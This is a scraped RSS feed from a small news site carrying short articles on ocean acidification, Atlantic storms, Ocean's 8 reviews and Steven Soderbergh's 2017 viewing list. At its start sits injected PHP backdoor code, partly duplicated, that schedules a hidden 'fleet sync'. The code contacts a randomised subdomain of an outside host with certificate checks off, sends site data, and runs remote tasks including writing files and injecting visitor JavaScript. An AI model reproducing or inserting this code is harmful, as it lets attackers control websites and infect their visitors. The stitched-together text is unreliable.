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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ocean’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 15 Oct 2018 16:56:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Ocean’s – Brief News https://briefnews.eu 32 32 Acidified oceans are dissolving the protective shields of large shellfish – study https://briefnews.eu/acidified-oceans-are-dissolving-the-protective-shields-of-large-shellfish-study/ https://briefnews.eu/acidified-oceans-are-dissolving-the-protective-shields-of-large-shellfish-study/#respond Mon, 15 Oct 2018 16:56:10 +0000 http://briefnews.eu/acidified-oceans-are-dissolving-the-protective-shields-of-large-shellfish-study/

Rising levels of carbon dioxide in seawater could be a major threat to the planet’s shellfish population, with a new study showing how the pollutant stunts growth and strips away the protective shields of marine life.

In a joint project by the UK’s University of Plymouth and the University of Tsukuba in Japan, researchers analysed the effect of the pollutant from a natural gas vent on the sea snail charonia lampas, or triton shellfish.

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Famous for its large colorful shell, the triton was once harvested for jewelry, like necklaces. The unique shellfish is now facing a very different and encompassing threat in the form of increasing carbon dioxide in the planet’s oceans.

According to the new study, which featured in the peer-reviewed Frontiers in Marine Science journal, tritons were smaller in seawaters predicted to absorb higher levels of Co2.

There is also a threat to the animal’s protective shell which is used to ward off potential predators. Thickness of triton shells displayed “visible deterioration” in waters off Shikine-jima island, Japan, where scientists studying ocean acidification have previously visited a gas vent near near Mikawa Bay.

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Dr Ben Harvey, assistant professor in the University of Tsukuba’s Shimoda Marine Research Center, said the acidification of oceans is a “clear threat to marine life.”

“Here we found that the ability of the triton shells to produce and maintain their shells was hindered by ocean acidification, with the corrosive seawater making them smoother, thinner, and less dense,” he explained.

The evidence uncovered by researchers signals “profound consequences” for calcified sea creatures in the future, Harvey warned.

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]]> https://briefnews.eu/acidified-oceans-are-dissolving-the-protective-shields-of-large-shellfish-study/feed/ 0 Unseen in 35 years: Veteran weather reporter on oceans ‘exploding’ with tropical storms https://briefnews.eu/unseen-in-35-years-veteran-weather-reporter-on-oceans-exploding-with-tropical-storms/ https://briefnews.eu/unseen-in-35-years-veteran-weather-reporter-on-oceans-exploding-with-tropical-storms/#respond Thu, 13 Sep 2018 23:00:35 +0000 http://briefnews.eu/unseen-in-35-years-veteran-weather-reporter-on-oceans-exploding-with-tropical-storms/ The world is facing a record number of storms raging through the Northern hemisphere at the same time. There are five tropical storms just this week, including a potentially “catastrophic” Hurricane Florence, meteorologists say.

Florence, a Category 2 hurricane that has already prompted massive evacuations in the US, is far from being the only one roaming through the Atlantic. Another hurricane, Helene, is devolving in the eastern part of the ocean and moving northeast towards Europe, the National Hurricane Center (NHC) says. However, this Category 1 hurricane is expected to lose steam before it actually arrives at Europe’s shores, as the scientists believe it will eventually come to the western part of the continent in a form of a storm early next week.

Meanwhile, in the Caribbean Sea, a tropical storm Isaac is making its way through the Lesser Antilles as its wind speed reaches more than 70 kilometers per hour. However, it is also expected to lose power and arrive in Jamaica in a form of a tropical depression next Monday.

Another storm, Joyce, has also formed in the Atlantic Ocean and is now heading towards the Portuguese islands of the Azores, where, according to NHC forecasts, it will arrive as a tropical depression early next week.

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The Atlantic, however, has more potentially unpleasant surprises up its sleeve. On Thursday, meteorologists recorded a disturbance in the center of the Gulf of Mexico that in the next 48 hours could become yet another tropical storm.

It is also not the only part of the Northern hemisphere hit by foul weather. In the Pacific Ocean, the super typhoon Mangkhut is approaching the northern part of the Philippines, where the authorities have already ordered evacuations. Meteorologist Tim Heller has tweeted that during his 35-year career he has “never seen so much activity in the tropics all at the same time.”

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The oceans are “exploding with cyclonic activity,” The Washington Post says in an article explaining that the simultaneous formation of several storms in the Atlantic is due to the sudden alignment of two factors: energy and wind. Strong winds in the atmosphere can prevent the development of storms at the lower altitudes but now the winds in all these regions are mild. In addition, wind shear has reached its seasonal minimum, causing any incipient tropical disturbance to become a storm.

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]]> https://briefnews.eu/unseen-in-35-years-veteran-weather-reporter-on-oceans-exploding-with-tropical-storms/feed/ 0 Topher Grace Was Supposed to Appear in ‘Ocean’s 13’, But ‘Spider-Man 3’ Ruined It https://briefnews.eu/topher-grace-was-supposed-to-appear-in-oceans-13-but-spider-man-3-ruined-it/ https://briefnews.eu/topher-grace-was-supposed-to-appear-in-oceans-13-but-spider-man-3-ruined-it/#respond Wed, 08 Aug 2018 20:52:20 +0000 http://briefnews.eu/topher-grace-was-supposed-to-appear-in-oceans-13-but-spider-man-3-ruined-it/ Topher Grace Ocean's 13 Cameo

The cast of the Ocean’s 11 franchise is quite the star-studded ensemble. But on top of the core members of the heist team led by George Clooney, the franchise has also featured some cameos by familiar faces, and one of them nearly appeared in all three of the films from director Steven Soderbergh.

Topher Grace appears in both Ocean’s 11 and Ocean’s 12 as an exaggerated version of himself, and it turns out he was meant to make an appearance in Ocean’s 13, but his role as Eddie Brock (AKA the villain Venom) in Spider-Man 3 kept him from making what would have been another hilarious cameo in the film franchise. Thankfully, Grace has revealed what that cameo would have entailed.

Before we get to the Topher Grace Ocean’s 13 cameo, let’s remember his cameos in the other movies:

Topher Grace is a Dummy in Ocean’s 11

In Ocean’s 11, Topher Grace appears as himself as one of several young celebrities learning how to play poker better from Rusty (Brad Pitt). Around the table are also Joshua Jackson (Dawson’s Creek), Holly Marie Combs (Charmed), Shane West (A Walk to Remember), and Barry Watson (7th Heaven). They’re all terrible at the game, especially Topher, who tries to win with a hand that’s “all reds” but nowhere close to a straight, flush or anything resembling a decent hand.

I love the kinds of cameos where celebs make fun of themselves, appearing to be dimwitted Hollywood stars who can’t do anything themselves. Grace explained to The Film Stage that this cameo came about when he was doing ADR for Traffic, his first movie role, also directed by Steven Soderbergh. The director asked him if he wanted to do something in Ocean’s 11, and the rest is history.

Topher Grace is a Mess in Ocean’s 12

At the beginning of Ocean’s 12, Rusty is responding to some kind of situation in one of the hotels he runs. The problem turns out to be Topher Grace having a total breakdown and trashing his hotel room. His hair is long, he’s wearing many bracelets, and he’s hung up on some girl. He also quit That 70s Show and “totally phoned in” his role in the film In Good Company with Dennis Quaid and Scarlett Johansson.

Funnily enough, Dennis Quaid had been in Traffic, but the real payoff here was that the trailer for In Good Company was playing before Ocean’s 12, which made that joke work on a fantastic level when people saw the movie in theaters.

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Topher Grace’s Cameo in Ocean’s 13

So what would a Topher Grace Ocean’s 13 cameo have entailed? The actor revealed to The Film Stage that it would have added another perplexing layer of instability to the life of his fictional self:

“The thing I can tell you that no one else knows is that in Ocean’s Thirteen, which I couldn’t do because of Spider-Man, I was gonna see Rusty [Pitt’s character] going into a casino and I was gonna stop him and the whole time I was going to be holding an Asian baby but we weren’t gonna say anything about it. The first was one was cars, second was wreck a hotel a room, and the third one was that.”

I love that this was a running gag that was meant to continue. And that it all resulted from the fact that Topher Grace happened to be at the right place at the right time is just so perfectly Hollywood.

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]]> https://briefnews.eu/topher-grace-was-supposed-to-appear-in-oceans-13-but-spider-man-3-ruined-it/feed/ 0 Daily Podcast: Water Cooler Discussion Including Jurassic Doritos, Star Wars, Ocean’s 8, Westworld, GLOW, Won’t You Be My Neighbor, Jumanji, 2001, Mulan & More https://briefnews.eu/daily-podcast-water-cooler-discussion-including-jurassic-doritos-star-wars-oceans-8-westworld-glow-wont-you-be-my-neighbor-jumanji-2001-mulan-more/ https://briefnews.eu/daily-podcast-water-cooler-discussion-including-jurassic-doritos-star-wars-oceans-8-westworld-glow-wont-you-be-my-neighbor-jumanji-2001-mulan-more/#respond Tue, 19 Jun 2018 07:40:34 +0000 http://briefnews.eu/daily-podcast-water-cooler-discussion-including-jurassic-doritos-star-wars-oceans-8-westworld-glow-wont-you-be-my-neighbor-jumanji-2001-mulan-more/ Jurassic Doritos

On the June 18, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by /Film weekend editor Brad Oman, senior writer Ben Pearson and writers Hoai-Tran Bui and Chris Evangelista to talk about what they’ve been up to at the Water Cooler.

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At The Water Cooler:

  • What we’ve been Doing:
    • Peter went to the Magic Castle and had a weird experience.
    • Brad is trying to figure out what to do with his giant Jurassic Doritos crate
    • Chris got a pair of high heels from Netflix (to advertise Mindhunter).
  • What we’ve been Reading:
    • Ben read The Moviemaking Magic of Star Wars: Creatures + Aliens
  • What we’ve been Watching:
    • Peter saw Ocean’s 8, tried and failed to see Won’t You Be My Neighbor, and watched this week’s episode of Westworld
    • Chris saw Won’t You Be My Neighbor and wept; also GLOW season 2.
    • Hoai-Tran saw American Animals and Incredibles 2.
    • Ben saw Ocean’s 8, Jumanji: Welcome to the Jungle, and 2001: A Space Odyssey
    • Brad saw Tag, Incredibles 2 again, watched Mulan for the first time.
  • What we’ve been Eating:
    • Peter made a Pizza for the first time in a pizza oven
    • Hoai-Tran had Thai rolled ice cream.
    • Brad had Burger King Pretzel Chicken Fries, chocolate covered strawberry flavored Kit Kat.
  • What we’ve been Playing:
    • Brad has been playing the Jurassic World Alive mobile game, listening to the Incredibles 2 score

You can find more about all the stories we mentioned on today’s show at slashfilm.com, and linked inside the show notes.

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]]> https://briefnews.eu/daily-podcast-water-cooler-discussion-including-jurassic-doritos-star-wars-oceans-8-westworld-glow-wont-you-be-my-neighbor-jumanji-2001-mulan-more/feed/ 0 ‘Ocean’s 8’ Is Good, but It’s Time for New Women’s Stories, Not Just Gender-Swaps https://briefnews.eu/oceans-8-is-good-but-its-time-for-new-womens-stories-not-just-gender-swaps/ https://briefnews.eu/oceans-8-is-good-but-its-time-for-new-womens-stories-not-just-gender-swaps/#respond Sat, 09 Jun 2018 05:54:35 +0000 http://briefnews.eu/oceans-8-is-good-but-its-time-for-new-womens-stories-not-just-gender-swaps/ Female-fronted movies could be better if they weren’t focused on roles made for men.


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]]> https://briefnews.eu/oceans-8-is-good-but-its-time-for-new-womens-stories-not-just-gender-swaps/feed/ 0 ‘Ocean’s 8’ Tries Its Best, But Still Cons Its Audience https://briefnews.eu/oceans-8-tries-its-best-but-still-cons-its-audience/ https://briefnews.eu/oceans-8-tries-its-best-but-still-cons-its-audience/#respond Fri, 08 Jun 2018 21:24:59 +0000 http://briefnews.eu/oceans-8-tries-its-best-but-still-cons-its-audience/ I started thinking about American Pie Presents: Band Camp when the framed George Clooney photo appeared in Ocean’s 8, and I couldn’t stop. For those lucky enough not to know, American Pie Presents: Band Camp was a 2005 “spin-off” of the original American Pie trilogy (which had concluded with American Wedding two years earlier). But this one bypassed a theatrical release and went straight to DVD, and its only ties to the earlier films were in a shared narrative and tone, brief appearances by a pair of supporting characters (played by Eugene Levy and Chris Owen), and a plot that centered around the sibling of a character from the first trilogy.

Now look, I’m not suggesting that Ocean’s 8 is nearly as putrid as American Pie Presents: Band Camp– it’s an absolutely good-enough piece of summer fluff, and it’s probably some sort of blasphemy to invoke a title like that anywhere near the vicinity of a cast like this. But again, once it was in my head, it was hard to get it out. The similarities (tone, pair of shared supporting characters, sibling-driving plot) are the same here as in the original Ocean’s trilogy: Debbie Ocean (Sandra Bullock) is fresh out of the joint, where she’s concocted an elaborate and ingenious heist that will not only make her and her team of super-crooks rich, but will settle a personal score to boot. Yet it feels like a warmed-over retread, lacking the personal touches and bits of pizzazz that made that original trilogy so special.

You can’t fault the cast, which does their very best with the thin script by Olivia Milch and director Gary Ross. Bullock is ideally cast – she is absolutely the female equivalent of Mr. Clooney, who has a similar breezy, offhand way of delivering his cocky line readings in these things. Cate Blanchett is magnetic and unflappable, Helena Bonham-Carter is uproarious, and Akwafina steals pretty much any scene she wanders into. The standout, however, is Anne Hathaway, with a portrait of movie-star vanity and self-absorption that’s so marvelously self-aware, I’m not sure why they bothered to give her character another name. (This is, after all, the series in which Julia Roberts once played both her character and herself.) She has a tiny moment of ecstasy, when first trying on the necklace at the heist’s center, that’s so simultaneously funny and sexy, you’ll wish she’d been born early enough to do a couple dozen screwball comedies.

To its credit, Ross and Milch’s script has a couple of good lines (“Aren’t there any hackers who aren’t Russian?” “There are barely any Russians who aren’t hackers”) and clever details, and the job itself is quite satisfying – as one character notes, “It’s always the grace notes and the little attention to detail that really makes the whole thing sing.” And there’s one funny, tacit acknowledgment of a lightweight movie like this in the swirl of discussion about onscreen representation, a pep talk in which Bullock advises her crew not to do this for themselves or each other: “Somewhere out there, there’s an eight-year-old girl in bed dreaming of being a criminal. Do this for her.”

Perhaps if there were more bits like that, in which Ross and his ace ensemble allowed themselves to untether from the franchise and do their own thing, Ocean’s 8 wouldn’t feel like such a pale imitation. But it follows those films, particularly the first one, so closely that it ends up inviting unflattering comparisons. The first scene (it’s in the trailers), in which Ms. Ocean assures her parole board that she’s a changed person, is a virtual carbon copy of Ocean’s Eleven’s opening – so it’s that much more noticeable that whereas original director Steven Soderbergh staged and shot it with mood and flair, Ross makes it look like an episode of Law & Order. Soderbergh’s novelty wipes and transitions are aped nearly as poorly, and the script keeps replicating the beats of Ted Griffin’s Eleven script (Bullock’s reunion with former and now slumming partner Blanchett, in the Brad Pitt role; a scene where Blanchett calls Bullock out for jeopardizing the job by making it personal) with equal parts laziness and clumsiness. James Corden appears late in the film, extending the narrative as a tireless investigator, a postscript that unavoidably recalls Soderbergh’s more recent heist pic, Logan Lucky. And I’m sorry, it’s impossible to set the climax of a heist movie in the Met without making your audience think of that wonderful Thomas Crown Affairremake.

There’s nothing automatically wrong with a film that echoes its predecessors – the heist movie in particular is built on the foundation of cinematic tradition – but Ocean’s 8, in scene after scene, is done no favors by the reminders. Or maybe the point is that Soderbergh (who is credited as a producer here) was able to not only execute those grace notes, but to do them with such effervescence that it looked easy. It clearly isn’t; Ross isn’t light on his feet the way Soderbergh is, so the picture drags, and he keeps muffing the half-hearted buttons, leaving scenes that just kinda peter out.

It’s a shame. Ocean’s 8 isn’t offensively bad, and there are long stretches that basically work. But with this premise, and this cast, it should’ve been an all-timer. I kept waiting for it to become that. And then it ended.

“Ocean’s 8” is out today in wide release.

                                                                    

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]]> https://briefnews.eu/oceans-8-tries-its-best-but-still-cons-its-audience/feed/ 0 ‘Ocean’s 8’ has an amazing cast but is a ‘wasted opportunity’ — here’s what critics are saying https://briefnews.eu/oceans-8-has-an-amazing-cast-but-is-a-wasted-opportunity-heres-what-critics-are-saying/ https://briefnews.eu/oceans-8-has-an-amazing-cast-but-is-a-wasted-opportunity-heres-what-critics-are-saying/#respond Wed, 06 Jun 2018 15:02:32 +0000 http://briefnews.eu/oceans-8-has-an-amazing-cast-but-is-a-wasted-opportunity-heres-what-critics-are-saying/ ocean's 8Barry Wetcher/Warner Bros. Pictures

  • Reviews for “Ocean’s 8” are now out. 
  • It’s an all-female spin-off of the “Ocean’s” movies.
  • The reviews are mixed.
  • Critics say the cast is incredible and Anne Hathaway is a standout.
  • But critics agree that the directing and writing falter. 

Reviews for “Ocean’s 8” are in, but the reception has been lukewarm. 

The “Ocean’s 11″ spin-off follows Debra Ocean (Sandra Bullock), the estranged sister of George Clooney‘s iconic character Danny Ocean, as she tries to pull off a heist at the Met Gala. She pairs up with a team of talented women — played by Cate Blanchett, Mindy Kaling, Rihanna, Sarah Paulson, Helena Bonham Carter, and Awkwafina — to steal from Anne Hathaway’s celebrity character. 

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]]> https://briefnews.eu/oceans-8-has-an-amazing-cast-but-is-a-wasted-opportunity-heres-what-critics-are-saying/feed/ 0 Everything Steven Soderbergh Watched and Read in 2017, Including Nine Viewings of ‘Ocean’s 8’ https://briefnews.eu/everything-steven-soderbergh-watched-and-read-in-2017-including-nine-viewings-of-oceans-8/ https://briefnews.eu/everything-steven-soderbergh-watched-and-read-in-2017-including-nine-viewings-of-oceans-8/#respond Sat, 06 Jan 2018 13:06:46 +0000 http://briefnews.eu/everything-steven-soderbergh-watched-and-read-in-2017-including-nine-viewings-of-oceans-8/ Steven Soderbergh's 2017 List

At the beginning of every year, director Steven Soderbergh releases a list of everything he watched and read the previous year. As far as lists go, Soderbergh’s are always fascinating, particularly because he tends to rewatch specific titles over and over again. His new list for 2017 is here, and reveals that so far he’s watched Ocean’s 8, the reboot of his Ocean’s 11 franchise, nine times already. Check out Steven Soderbergh’s 2017 list below.

If you’ve ever wondered about the movie-watching and reading habits of filmmakers, look no further than Steven Soderbergh’s annual list. Soderbergh, the filmmaker behind Traffic, Haywire, Logan Lucky and the Ocean’s 11 films, has an annual tradition of uploading a list to his website that reflects everything he watched or read through the previous year.

Soderbergh’s latest list, reflecting what he read and watched in 2017, is a doozy. There’s a lot to unpack here: the filmmaker took in the gonzo 2017 film A Cure For Wellness in June; on Christmas day, he treated himself to a triple feature of Memento, Lock, Stock and Two Smoking Barrels and Vertigo; and on June 26, he rewatched the phenomenal eighth episode of the new Twin Peaks, which lead him to add the only annotation on the list: “(episode 8 again—wow!)”.

The list also offers some insight into films Soderbergh is associated with: on June 1, he lists that he’s begun production on his new film Unsane, and then proceeds to list Unsane five more times – likely indicating he was rewatching the footage he shot on those particular days. Also worth noting: Soderbergh lists the upcoming Ocean’s 8 – a reboot/sequel to his own Ocean’s 11 franchise – a total of nine times. Check out the full list below.

All caps, bold: MOVIE
All caps, bold, asterisk: SHORT*
All caps: TV SERIES
Italics: Book
Quotation marks: “Play”
Italics, quotation marks: “Short Story”

01/01 PASSENGERS, THE BIRTHDAY PARTY (’68), KEEPING UP WITH THE JONESES

01/02 The Mistletoe Murders and Other Stories, P.D. James

01/03 THE THICK OF IT (5)

01/04 CARNAL KNOWLEDGE

01/05 THE THICK OF IT (2)

01/13 DARLING

01/14 DOG DAY AFTERNOON

01/15 THE TRIAL OF JOAN OF ARC

01/18 THE HANDMAIDEN

01/25 VANITY FAIR CONFIDENTIAL

01/27 THE RUSSIA HOUSE, VICTIM

01/28 MOUCHETTE, WITHNAIL AND I, DATELINE: SATURDAY NIGHT MYSTERY, 48 HRS

01/29 Bresson on Bresson: Interviews 1943-1983, L’ARGENT

01/30 The Power Broker: Robert Moses and the Fall of New York, Robert A. Caro, SISTERS (’73)

02/01 THE BEST OF AUTOPSY

02/02 I AM NOT YOUR NEGRO

02/03 BECOMING WARREN BUFFET

02/04 SPLIT, 48 HRS

02/05 THE LONG DAY CLOSES, THE POWER OF NIGHTMARES (Parts 1, 2 & 3), SUPERBOWL LI

02/06 VANITY FAIR CONFIDENTIAL

02/07 THE TRAP (Part 1)

02/08 FIVE EASY PIECES

02/10 BILLIONS, DATELINE

02/11 THE TRAP (Parts 2 & 3), THE IMMORTAL STORY, KING & COUNTRY, FIFTY SHADES DARKER, DATELINE: SATURDAY NIGHT MYSTERY

02/12 “Jitney”, August Wilson, GIRLS

02/13 VANITY FAIR CONFIDENTIAL

02/14 THE TRAIN (’64), THE THICK OF IT

02/15 THE THICK OF IT

02/16 LIFE OF RILEY, THE THICK OF IT (2)

02/17 HYPERNATIONALIZATION

02/18 MON ONCLE D’AMERIQUE, SEVEN DAYS IN MAY (’64)

02/19 48 HRS, GIRLS, MURIEL, OR THE TIME OF RETURN

02/20 VANITY FAIR CONFIDENTIAL, THE THICK OF IT

02/21 INTERIORS, THE TEXAS CHAIN SAW MASSACRE (’74)

02/22 NIGHT AND FOG*, LE CHANT DU STYRENE*, THE HILLS HAVE EYES (’77)

02/24 DATELINE

02/25 DICKS*, I DON’T FEEL AT HOME IN THIS WORLD ANYMORE, 48 HRS

02/26 GET OUT, THE 89th ACADEMY AWARDS

02/27 VANITY FAIR CONFIDENTIAL, BILLIONS

03/04 LOGAN LUCKY

03/09 Affections, Roberto Hasbun

03/10 Outline, Rachel Cusk

03/11 GIRLS, DATELINE, THE LOVE WITCH, LOGAN LUCKY

03/12 LOGAN LUCKY, BILLIONS (2), GIRLS

03/14 THE AMERICANS (2)

03/15 LOGAN LUCKY

03/18 GOLOVKIN VS JACOBS

03/19 “The Present”, Anton Chekov/Andrew Upton, GIRLS, BILLIONS

03/20 THE CROWN (2)

03/21 THE AMERICANS

03/22 DAVE CHAPPELLE: THE AGE OF SPIN

03/26 GIRLS, BILLIONS

03/27 RAIDERS OF THE LOST ARK (B&W VERSION)

03/31 DATELINE

04/01 A Brief History of Seven Killings, Marlon James

04/02 GIRLS

04/04 LOUIS C.K. 2017, THE AMERCIANS (2)

04/05 MIKEY AND NICKY

04/06 PREVENGE, THE RULING CLASS

04/07 TRAINSPOTTING, THE SOCIAL NETWORK

04/08 THE SILENT PARTNER, DATELINE

04/10 BILLIONS, BETTER CALL SAUL

04/11 THE AMERICANS, REPULSION

04/13 RYAN’S DAUGHTER

04/14 DATELINE

04/15 On Tyranny, Timothy Snyder, Whiplash: How To Survive Our Faster Future, Joi Ito and Jeff Howe, OCEAN’S EIGHT, SILICON VALLEY (2), 48 HRS MYSTERY

04/16 GIRLS, VEEP

04/17 THE AMERICANS, KILLING RICHARD GLOSSIP

04/18 HIGH AND LOW, BILLIONS, A.K.

04/20 ONE DAY IN THE LIFE OF ANDRE ARSENEVICH, LOGAN LUCKY

04/21 I KNOW WHERE I’M GOING, TO BE OR NOT TO BE (’42)

04/22 …BUT FILM IS MY MISTRESS, KILLING RICHARD GLOSSIP (3), 48 HRS MYSTERY

04/25 BETTER CALL SAUL, THE AMERICANS, SILICON VALLEY

04/26 LOGAN LUCKY, BILLIONS, CHINATOWN

04/27 THE SHINING

04/29 STANLEY KUBRICK INTERVIEW WITH JEREMY BERNSTEIN NOVEMBER 1965 (AUDIO), MAKING “THE SHINING”, JOSHUA VS KLITSCHKO, THE DISCREET CHARM OF THE BOURGOUSIE, 48 HRS MYSTERY

04/30 OCEAN’S EIGHT, SILICON VALLEY, VEEP, BILLIONS

05/01 E! NEWS LIVE AT THE RED CARPET MET GALA, BETTER CALL SAUL

05/02 THE AMERICANS

05/05 WHITE HORSE (6), SWIMMING TO CAMBODIA

05/06 DON’T LOOK NOW, 48 HRS MYSTERY

05/07 All Kinds of Love, Carl Reiner

05/08 SILICON VALLEY, BILLIONS, BETTER CALL SAUL

05/09 THE AMERICANS

05/11 BASKETS (2), THE SAND PEBBLES

05/12 THE SUGARLAND EXPRESS

05/13 ALL THE PRESIDENT’S MEN

05/14 Homesick For Another World, Otessa Moshfegh, SILICON VALLEY

05/15 BETTER CALL SAUL

05/16 THE AMERICANS

05/17 I SPIT ON YOUR GRAVE (’78), 1941

05/18 MOMMY DEAD AND DEAREST

05/19 THE KEEPERS (2)

05/20 THE KEEPERS (5)

05/21 ALIEN: COVENANT, TWIN PEAKS (2), SILICON VALLEY

05/22 Moonglow, Michael Chabon, BETTER CALL SAUL

05/23 THE AMERICANS, SHEITAN

05/26 SUNSET BOULEVARD

05/29 Men Without Women, Haruki Murkami, TWIN PEAKS (2), SILICON VALLEY

05/30 THE AMERICANS

05/31 THE BIRDS

06/01 Begin principal photography on UNSANE

06/03 A CURE FOR WELLNESS, OCEAN’S EIGHT

06/04 SILICON VALLEY, TWIN PEAKS

06/10 BETTER CALL SAUL

06/11 TWIN PEAKS, SILICON VALLEY

06/15 UNSANE

06/16 UNSANE

06/17 RISK, EYES OF LAURA MARS

06/18 SILICON VALLEY, VEEP, TWIN PEAKS

06/10 ATLANTA, BARRY LYNDON

06/20 Masters of Atlantis, Charles Portis, ROOM 104, JAWS

06/21 SEXY BEAST, BETTER CALL SAUL

06/22 THE THIRD MAN, UNSANE, ANATOMY OF A MURDER

06/23 Loving, Henry Green, GATTACA

06/24 How We Are Hungry, Dave Eggers, South and West, Joan Didion, DATELINE, 48 HRS

06/25 TWIN PEAKS, SILICON VALLEY, VEEP

06/26 TWIN PEAKS (episode 8 again—wow!)

06/27 THE EXORCIST (original theatrical release version)

06/28 T2 TRAINSPOTTING

07/07 OCEAN’S EIGHT, DATELINE

07/08 Home and Away: Writing the Beautiful Game, Karl Ove Gnausgaard and Fredrik Ekelund, WALTZ WITH BASHIR

07/09 Who Is Rich?, Mathhew Klam, ARCHER, BOJACK HORSEMAN

07/10 DR. STRANGELOVE, OR: HOW I LEARNED TO STOP WORRYING AND LOVE THE BOMB, TWIN PEAKS

07/11 A HARD DAY’S NIGHT, HELP!

07/12 SONG TO SONG

07/14 ROAR: THE MOST DANGEROUS MOVIE EVER MADE, DATELINE

07/15 LURED, ALL THE PRESIDEN’TS MEN

01/17 TWIN PEAKS

07/21 BULLITT, DATELINE

07/22 THE LOVED ONE, The Dinner Party, Joshua Ferris

07/24 TWIN PEAKS

07/25 VICE: A WORLD IN DISARRAY

07/26 L’ECLISSE, THE LAMP*

07/29 O.G., Astrophysics for People in a Hurry, Neil deGrasse Tyson, W1A (2)

07/31 Golden Hill, Francis Spufford, TWIN PEAKS, UN FLIC

08/01 THEY LIVE BY NIGHT

08/03 IN ORDER OF DISAPPEARANCE

08/04 UNSANE

08/05 ICARUS

08/06 DUNKIRK

08/07 PERFECT (’18)

08/08 THE GRADUATE, THE KING (’18)

08/11 FUCKKKYOUUU*

08/12 GLOW (2), W1A, 48 HRS MYSTERY, THE KILLING (’56)

08/13 GOOD MORNING*

08/15 I LOVE YOU, DADDY

08/16 TWIN PEAKS

08/17 TWIN PEAKS

08/19 The Romanovs, Simon Sebag Montefiore

08/23 The Thirty-Six Dramatic Situations, Mike Figgis

08/24 Conversations With Friends, Sally Rooney

08/26 BEATRIZ AT DINNER, WHITNEY: CAN I BE ME, MAYWEATHER VS MCGREGOR, 1941

08/28 Richard Ayoade Presents The Grip of Film by Gordy Lasure

08/29 Runnin’ With The Devil, Noel E. Monk and Joe Leydon, OCEAN’S EIGHT

08/30 mother!

